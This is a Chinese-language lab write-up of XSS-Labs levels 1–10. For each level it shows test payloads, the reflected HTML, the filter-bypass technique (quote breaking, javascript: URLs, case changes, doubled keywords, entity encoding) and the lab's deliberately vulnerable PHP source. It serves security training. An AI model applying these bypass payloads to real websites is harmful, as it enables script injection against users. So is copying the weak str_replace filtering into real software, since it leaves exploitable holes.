XSS-Labs(Level1-10)


Level-1

簡單嘗試

使用基礎poc<script>alert(1)</script>

代碼審計

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>歡迎用戶".$str."</h2>";
?>

發現一點過濾都沒有,直接將name接收到的參數進行輸出,導致彈窗

Level-2

簡單嘗試

構造POC:<script>alert(1)</script>,發現並沒有彈窗,看一下前端回顯部分源碼

<h2 align=center>沒有找到和&lt;script&gt;alert(1)&lt;/script&gt;相關的結果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="<script>alert(1)</script>">
<input type=submit name=submit value="搜索"/>
</form>

繞過分析

發現<h2>標簽部分對$str進行了實體轉化.htmlspecialchars(),所以嘗試對<input>進行構造payload:"onclick="alert(1),當然這里用onnouseove=''也可以

<h2 align=center>沒有找到和&quot; onclick=&quot;alert(1)相關的結果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="" onclick="alert(1)">
<input type=submit name=submit value="搜索"/>
</form>

源碼審計

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">//這里直接將$str進行輸出,仍然沒有進行過濾,可能這樣對我這種小白比較友好吧.....
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

Level-3

簡單嘗試

構造POC"onclick="alert(1),發現並沒有觸發xss,查看一下前端源碼

<h2 align=center>沒有找到和&quot; onclick=&quot;alert(1)相關的結果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value='&quot; onclick=&quot;alert(1)'><!--原來是對$str進行了實體編碼,所以我們重新構造payload-->
<input type=submit name=submit value=搜索 />
</form>

繞過分析

雙引號被轉移,所以使用單引號繞過,payload:'onclick='alert(1)

源碼審計

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>//此處對單引號進行轉移
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

Level-4

簡單嘗試

構造poc:"onclick="alert(1),成功彈窗

<h2 align=center>沒有找到和&quot;onclick=&quot;alert(1)相關的結果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value=""onclick="alert(1)">
<input type=submit name=submit value=搜索 />
</form>

源碼審計

這和上一個level有什么不一樣嘛?打開源碼才知道....

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);  //只是對<>進行過濾,奈何咱們沒用<>,嘿嘿
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

Level-5

簡單嘗試

???怎么又是input標簽?嘗試一下上一關的poc"onclick="alert(1),發現並沒有成功

<h2 align=center>沒有找到和test&quot;onclick=&quot;alert(1)相關的結果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword  value="test"o_nclick="alert(1)"><!--發現這里是對on進行了替換:on->o_n-->
<input type=submit name=submit value=搜索 />
</form>

繞過分析

  • 嘗試一下基礎poc:"><script>alert(1)</script>//
<h2 align=center>沒有找到和&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;//相關的結果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword  value=""><scr_ipt>alert(1)</script>//"><!--發現前面的<script>進行替換,后面卻正常,所以判斷其對<script進行替換-->
<input type=submit name=submit value=搜索 />
</form>
  • 既然單獨的script沒有被過濾,所以構造新的payload進行繞過:"><a href='javascript:alert(1)'>
<input name=keyword  value=""><a href='javascript:alert(1)'>">

源碼審計

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);//對<script進行字符替換
$str3=str_replace("on","o_n",$str2);//對on進行字符替換
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

Level-6

簡單嘗試

  • 構造onlick的poc"onclick="anlert(1)
<input name=keyword  value="" o_nclick="alert(1)"><!--又是對on進行替換>
  • 嘗試基礎poc<script>alert(1)</script>
<input name=keyword  value="<scr_ipt>alert(1)</script>"><!--仍然對<script進行替換-->
  • 嘗試偽協議poc:"><a href='javascript:alert(1)'>
<input name=keyword  value=""><a hr_ef='javascript:alert(1)'>"><!--這里新添加對href進行替換-->

繞過分析

既然都被過濾,就從以下三個方面入手

  • 大小寫
  • 重復寫
  • 編碼繞過
    這里先嘗試大小寫,重新構造payload:"><a Href='javascript:alert(1)'>
<input name=keyword  value=""><a Href='javascript:alert(1)'>">

源碼審計

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

Level-7

簡單嘗試

繼續使用偽協議poc:"><a Href='javascript:alert(1)'>

<input name=keyword  value=""><a ='java:alert(1)'>"><!--后端過濾了href script-->

繞過分析

嘗試復寫繞過,構造新payload"><a hrehreff='javascscriptript:alert(1)'>

源碼審計

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);//總的來說,只是把敏感字符串刪除,並沒有替換安全啊
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

Level-8

簡單嘗試

添加鏈接?嘗試一下偽協議咯poc:javascript='alert(1)'

<a href="javascr_ipt='alert(1)'">友情鏈接</a><!--script進行了替換-->

嘗試一下大小寫呢?poc:javasCript='alert(1)'

<a href="javascr_ipt='alert(1)'">友情鏈接</a><!--仍然沒有變,看來進行了大小寫轉化-->

繞過分析

既然被轉化過濾了,復寫也沒辦法,那就進行編碼嘗試,payload:&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

源碼分析

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);//加入了大寫變小寫的轉化函數
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>

Level-9

簡單嘗試

構造偽協議poc:javascript:alert(1)

<a href="您的鏈接不合法?有沒有!">友情鏈接</a>

繞過分析

因為我不曉得他為什么不更新參數,所以我看了一下源碼

<?php
if(false===strpos($str7,'http://'))//進行判斷有沒有,strpos() 函數查找字符串在另一字符串中第一次出現的位置。
{
  echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
}
?>

得,原來他需要http://,重新構造payload:javascript:alert(1)//http://

<a href="javascr_ipt:alert(1)//http://">友情鏈接</a><!--又替換了script-->

繼續編碼注入,&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;//http://

源碼審計

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>";
?>

Level-10

簡單嘗試

一看沒有輸入框,查看一下網頁前端代碼

<h2 align=center>沒有找到和well done!相關的結果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>

發現有三個隱藏表單,通過構造poc,查看回顯源碼

<h2 align=center>沒有找到和&lt;script&gt;alert(1)&lt;script&gt;相關的結果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value=""onclick="alert(1)" type="hidden"><!--發現只有這個標簽有變化-->
</form>

繞過分析

通過上面得標簽,直接修改元素,將hidden刪除,點擊觸發xss

源碼審計

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM